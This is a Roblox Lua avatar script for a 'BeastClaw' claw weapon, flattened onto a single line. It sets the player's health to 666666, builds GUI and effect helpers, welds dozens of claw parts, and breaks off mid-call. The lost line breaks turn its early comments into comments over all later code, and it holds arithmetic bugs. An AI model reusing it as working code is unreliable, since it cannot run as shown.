p = game.Players.LocalPlayer char = p.Character torso = char.Torso neck = char.Torso.Neck hum = char.Humanoid hum.MaxHealth = 666666 wait() hum.Health =hum.MaxHealth CV="Hot pink" local txt = Instance.new("BillboardGui", char) txt.Adornee = char .Head txt.Name = "_status" txt.Size = UDim2.new(2, 0, 1.2, 0) txt.StudsOffset = Vector3.new(-9, 8, 0) local text = Instance.new("TextLabel", txt) text.Size = UDim2.new(10, 0, 7, 0) text.FontSize = "Size24" text.TextScaled = true text.TextTransparency = 0 text.BackgroundTransparency = 1 text.TextTransparency = 0 text.TextStrokeTransparency = 0 text.Font = "SciFi" text.TextStrokeColor3 = Color3.new(0,0,0) v=Instance.new("Part") v.Name = "ColorBrick" v.Parent=p.Character v.FormFactor="Symmetric" v.Anchored=true v.CanCollide=false v.BottomSurface="Smooth" v.TopSurface="Smooth" v.Size=Vector3.new(10,5,3) v.Transparency=1 v.CFrame=char.Torso.CFrame v.BrickColor=BrickColor.new(CV) v.Transparency=1 text.TextColor3 = Color3.new(255, 255, 255) v.Shape="Block" text.Text = " " euler = CFrame.fromEulerAnglesXYZ angles = CFrame.Angles local player = "LocalPlayer" local Character = game.Players[player].Character it = Instance.new vt = Vector3.new bc = BrickColor.new cf = CFrame.new mr = math.rad local Weapon = {} local p = game.Players.LocalPlayer local char = p.Character local mouse = p:GetMouse() local larm = char["Left Arm"] local rarm = char["Right Arm"] local lleg = char["Left Leg"] local rleg = char["Right Leg"] local hed = char.Head local torso = char.Torso local hum = char.Humanoid local cam = game.Workspace.CurrentCamera local root = char.HumanoidRootPart local deb = false local shot = 0 local debris=game:service"Debris" local l = game:GetService("Lighting") local rs = game:GetService("RunService").RenderStepped ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} math.randomseed(os.time()) for i,v in pairs (hed:GetChildren()) do if v:IsA("Sound") then v:Destroy() end end ---------------------------------------------------- BeastClaw NoOutline = function(Part) Part.TopSurface = 10 end part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) local fp = it("Part") fp.formFactor = formfactor fp.Parent = parent fp.Reflectance = reflectance fp.Transparency = transparency fp.CanCollide = false fp.Locked = true fp.BrickColor = brickcolor fp.Name = name fp.Size = size NoOutline(fp) fp.Material = "Neon" fp:BreakJoints() return fp end mesh = function(Mesh, part, meshtype, meshid, offset, scale) local mesh = it(Mesh) mesh.Parent = part if Mesh == "SpecialMesh" then mesh.MeshType = meshtype if meshid ~= "nil" then mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid end end mesh.Offset = offset mesh.Scale = scale return mesh end weld = function(parent, part0, part1, c0) local weld = it("Motor6D") weld.Parent = parent weld.Part0 = part0 weld.Part1 = part1 weld.C0 = c0 return weld end gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image) local gui = it(GuiType) gui.Parent = parent gui.BackgroundTransparency = backtrans gui.BackgroundColor3 = backcol gui.SizeConstraint = "RelativeXY" gui.Position = pos gui.Size = size if GuiType == "TextLabel" then gui.Text = text gui.TextXAlignment = "Center" gui.TextYAlignment = "Center" gui.Font = "SourceSans" gui.FontSize = "Size14" gui.TextWrapped = false gui.TextStrokeTransparency = 0 gui.TextColor = TorsoColor else if GuiType == "ImageLabel" then gui.Image = "rbxassetid://" .. image gui.ImageColor3 = backcol end end return gui end local handle = nil AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef) prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) prt.Material = neon msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) wld = weld(handle, prt, wldpar, ceef) v = it("NumberValue", prt) v.Value = trans v.Name = "MainTransparency" return prt, msh, wld end AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare) prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) prt.Material = neon msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) wld = weld(wldpare, prt, wldpar, ceef) v = it("NumberValue", prt) v.Value = trans v.Name = "MainTransparency" return prt, msh, wld end local modelzorzez = Instance.new("Model") modelzorzez.Parent = workspace.CurrentCamera modelzorzez.Name = "none" local Torso = Character.Torso local LeftArm = Character["Left Arm"] local RightArm = Character["Right Arm"] local LeftLeg = Character["Left Leg"] local RightLeg = Character["Right Leg"] local Head = Character.Head local RootPart = Character.HumanoidRootPart handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt()) local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7)) -- SAHHHH DUUDEEE -- params : ... wait(0.016666666666667) script.Archivable = false Effects = {} local Player = game.Players.localPlayer local Character = Player.Character local Humanoid = Character.Humanoid local mouse = Player:GetMouse() local cam = game.Workspace.CurrentCamera local m = Instance.new("Model", Character) m.Name = "WeaponModel" local effect = Instance.new("Model", Character) effect.Name = "effecsfsafzx" local demon = Instance.new("Model", Character) demon.Name = "demdemd" local LeftArm = Character["Left Arm"] local RightArm = Character["Right Arm"] local LeftLeg = Character["Left Leg"] local RightLeg = Character["Right Leg"] local do2target = nil local Head = Character.Head local Torso = Character.Torso TorsoColor = Torso.BrickColor z = Instance.new("Sound", Torso) z.SoundId = "rbxassetid://0" -- Put Music ID Here. z.Looped = true z.Pitch = 0 z.Volume = 0 wait(.1) z:Play() local cam = game.Workspace.CurrentCamera local RootPart = Character.HumanoidRootPart local RootJoint = RootPart.RootJoint local equipped = false local attack = false local Anim = "Idle" local idle = 0 local attacktype = 1 local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude local velocity = RootPart.Velocity.y local sine = 0 local change = 1 local mana = 0 local it = Instance.new vt = Vector3.new local grabbed = false local cf = CFrame.new local mr = math.rad local angles = CFrame.Angles local ud = UDim2.new local c3 = Color3.new function CameraShake(Times, Power) coroutine.resume(coroutine.create(function() FV = Instance.new("BoolValue", Character) FV.Name = "CameraShake" for ShakeNum=1,Times do swait() local ef=Power if ef>=1 then Humanoid.CameraOffset = Vector3.new(math.random(-ef,ef),math.random(-ef,ef),math.random(-ef,ef)) else ef=Power*10 Humanoid.CameraOffset = Vector3.new(math.random(-ef,ef)/10,math.random(-ef,ef)/10,math.random(-ef,ef)/10) end end Humanoid.CameraOffset = Vector3.new(0,0,0) FV:Destroy() end)) end CamShake=function(Part,Distan,Power,Times) local de=Part.Position for i,v in pairs(workspace:children()) do if v:IsA("Model") and v:findFirstChild("Humanoid") then for _,c in pairs(v:children()) do if c.ClassName=="Part" and (c.Position - de).magnitude < Distan then local Noob=v.Humanoid if Noob~=nil then if Noob:FindFirstChild("CamShake")==nil then-- and Noob == Character then --[[local ss=script.CamShake:clone() ss.Parent=Noob ss.Power.Value=Power ss.Times.Value=Times ss.Disabled=false]] CameraShake(Times, Power) end end end end end end end clerp = function(a, b, t) return a:lerp(b, t) end local RbxUtility = LoadLibrary("RbxUtility") local Create = RbxUtility.Create RemoveOutlines = function(part) part.TopSurface = 10 end CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) RemoveOutlines(Part) return Part end CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale}) if Mesh == "SpecialMesh" then Msh.MeshType = MeshType Msh.MeshId = MeshId end return Msh end local co1 = 3 local co2 = 10 local co3 = 15 local co4 = 30 local cooldown1 = 0 local cooldown2 = 0 local cooldown3 = 0 local cooldown4 = 0 local maxEnergy = 100 local Energy = 0 local skill1stam = 1000 local skill2stam = 1000 local skill3stam = 1000 local skill4stam = 1000 local recovermana = 5 local skillcolorscheme = BrickColor.new("White").Color local scrn = Instance.new("ScreenGui", Player.PlayerGui) makeframe = function(par, trans, pos, size, color) local frame = Instance.new("Frame", par) frame.BackgroundTransparency = trans frame.BorderSizePixel = 0 frame.Position = pos frame.Size = size frame.BackgroundColor3 = color return frame end makelabel = function(par, text) local label = Instance.new("TextLabel", par) label.BackgroundTransparency = 1 label.Size = UDim2.new(1, 0, 1, 0) label.Position = UDim2.new(0, 0, 0, 0) label.TextColor3 = Color3.new(255, 255, 255) label.TextStrokeTransparency = 0 label.FontSize = Enum.FontSize.Size32 label.Font = Enum.Font.SourceSansLight label.BorderSizePixel = 0 label.TextScaled = true label.Text = text end ArtificialHB = Instance.new("BindableEvent", script) ArtificialHB.Name = "Heartbeat" script:WaitForChild("Heartbeat") frame = 0.033333333333333 tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.Heartbeat:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if frame <= tf then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.Heartbeat:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end ) swait = function(num) if num == 0 or num == nil then ArtificialHB.Event:wait() else for i = 0, num do ArtificialHB.Event:wait() end end end CreateWeld = function(Parent, Part0, Part1, C0, C1) local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1}) return Weld end rayCast = function(Position, Direction, Range, Ignore) return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) end CreateSound = function(id, par, vol, pit) coroutine.resume(coroutine.create(function() local sou = Instance.new("Sound", par or workspace) sou.Volume = vol sou.Pitch = pit or 1 sou.SoundId = id swait() sou:play() game:GetService("Debris"):AddItem(sou, 6) end )) end local getclosest = function(obj, distance) local last, lastx = distance + 1, nil for i,v in pairs(workspace:GetChildren()) do if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then local t = v.Torso local dist = t.Position - obj.Position.magnitude if dist <= distance and dist < last then last = dist lastx = v end end end return lastx end CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size) if PartType == "Part" then local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) RemoveOutlines(Part) return Part else do if PartType == "WedgePart" then local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) RemoveOutlines(Part) return Part end end end end Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1)) HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001)) Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721)) CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0)) CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", 